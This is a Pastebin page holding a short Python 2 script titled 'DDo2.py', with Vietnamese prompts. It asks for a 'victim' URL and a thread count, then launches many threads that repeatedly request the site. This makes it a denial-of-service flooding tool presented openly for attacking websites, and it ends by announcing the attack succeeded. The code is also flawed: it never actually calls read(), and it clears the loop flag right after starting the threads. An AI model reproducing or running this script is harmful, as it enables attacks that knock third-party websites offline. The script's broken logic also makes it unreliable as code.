Advertisement
TP2K1

DDo2.py

Jul 22nd, 2015
1,724
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.60 KB | None | 0 0
  1. #/usr/bin/Python
  2. # -*- coding: utf-8 -*-
  3. import sys
  4. import time
  5. import threading
  6. import urllib
  7.  
  8.  
  9. time.sleep(3)
  10.  
  11. a=1
  12. b=threading.Lock()
  13.  
  14. class dos(threading.Thread):
  15. def __init__(self, host, threads):
  16. threading.Thread.__init__(self)
  17. self.host = host
  18. self.threads = threads
  19. def run(self):
  20. global a
  21. global b
  22. b.acquire()
  23. print "\n chuẩn bị -> {0}".format(self.threads)
  24. b.release()
  25. while 1 == a:
  26. try:
  27. urllib.urlopen(self.host).read
  28. try:
  29. urllib.urlopen(self.host).read
  30. except:
  31. pass
  32. except:
  33. pass
  34. b.acquire()
  35. print " số lượng {0}\n".format(self.threads)
  36. b.release()
  37. sys.exit()
  38. try:
  39. threads=input(" Số lượng(100000) : ")
  40. except NameError:
  41. sys.exit()
  42. while True:
  43. host=raw_input("\n victim : ")
  44. print "\n Đang kiểm tra website \n"
  45. time.sleep(2)
  46. try:
  47. urllib.urlopen(host)
  48. except IOError:
  49. print "\nKhông thể kết nối vào victim\n"
  50. sys.exit()
  51. else:
  52. break
  53. print "\n"*100
  54. c=raw_input(" Bấm Y để tấn công N để dừng ( Y/N ) > ")
  55. if c=="Y":
  56. pass
  57. elif c=="N":
  58. print "\n Thoát.\n"
  59. sys.exit()
  60. for A in xrange(threads):
  61. dos(host, A+1).start()
  62. a=0
  63. print " Tấn công thành công \n"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement